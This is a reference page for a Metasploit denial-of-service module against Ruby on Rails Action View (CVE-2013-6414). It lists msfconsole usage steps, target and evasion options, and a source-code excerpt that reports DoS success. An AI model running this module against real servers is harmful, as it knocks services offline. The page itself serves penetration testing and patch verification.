Ruby on Rails Action View MIME Memory Exhaustion - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/rails_action_view metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Ruby on Rails Action View MIME Memory Exhaustion
Module: auxiliary/dos/http/rails_action_view
Source code: modules/auxiliary/dos/http/rails_action_view.rb
Disclosure date: 2013-12-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2013-6414

This module exploits a Denial of Service (DoS) condition in Action View that requires a controller action. By sending a specially crafted content-type header to a Rails application, it is possible for it to store the invalid MIME type, and may eventually consume all memory if enough invalid MIMEs are given. Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/rails_action_view
msf auxiliary(rails_action_view) > show targets
    ... a list of targets ...
msf auxiliary(rails_action_view) > set TARGET target-id
msf auxiliary(rails_action_view) > show options
    ... show and set options ...
msf auxiliary(rails_action_view) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/http/rails_action_view auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/rails_action_view

msf6 auxiliary(dos/http/rails_action_view) > show info

       Name: Ruby on Rails Action View MIME Memory Exhaustion
     Module: auxiliary/dos/http/rails_action_view
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-12-04

Provided by:
  Toby Hsieh
  joev <[email protected]>
  sinn3r <[email protected]>

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  MAXSTRINGSIZE  60000            yes       Max string size
  REQCOUNT       1                yes       Number of HTTP requests to pipeline per connection
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT         100000           yes       Number of requests to send
  RPORT          80               yes       The target port (TCP)
  URIPATH        /                yes       The URI that routes to a Rails controller action

Description:
  This module exploits a Denial of Service (DoS) condition in Action 
  View that requires a controller action. By sending a specially 
  crafted content-type header to a Rails application, it is possible 
  for it to store the invalid MIME type, and may eventually consume 
  all memory if enough invalid MIMEs are given. Versions 3.0.0 and 
  other later versions are affected, fixed in 4.0.2 and 3.2.16.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-6414
  OSVDB (100525)
  http://www.securityfocus.com/bid/64074
  https://seclists.org/oss-sec/2013/q4/400
  https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068

Module Options

This is a complete list of options available in the dos/http/rails_action_view auxiliary module:

msf6 auxiliary(dos/http/rails_action_view) > show options

Module options (auxiliary/dos/http/rails_action_view):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   MAXSTRINGSIZE  60000            yes       Max string size
   REQCOUNT       1                yes       Number of HTTP requests to pipeline per connection
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT         100000           yes       Number of requests to send
   RPORT          80               yes       The target port (TCP)
   URIPATH        /                yes       The URI that routes to a Rails controller action

Advanced Options

Here is a complete list of advanced options supported by the dos/http/rails_action_view auxiliary module:

msf6 auxiliary(dos/http/rails_action_view) > show advanced

Module advanced options (auxiliary/dos/http/rails_action_view):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/rails_action_view module can do:

msf6 auxiliary(dos/http/rails_action_view) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/rails_action_view auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/rails_action_view) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to connect to <HOST>.

Here is a relevant code snippet related to the "Unable to connect to <HOST>." error message:

95:	        disconnect
96:	      }
97:	
98:	      print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
99:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
100:	      print_status("Unable to connect to #{host}.")
101:	    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
102:	      print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
103:	    ensure
104:	      disconnect
105:	    end

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References

See Also

Check also the following modules related to this module:

Authors

  • Toby Hsieh
  • joev
  • sinn3r

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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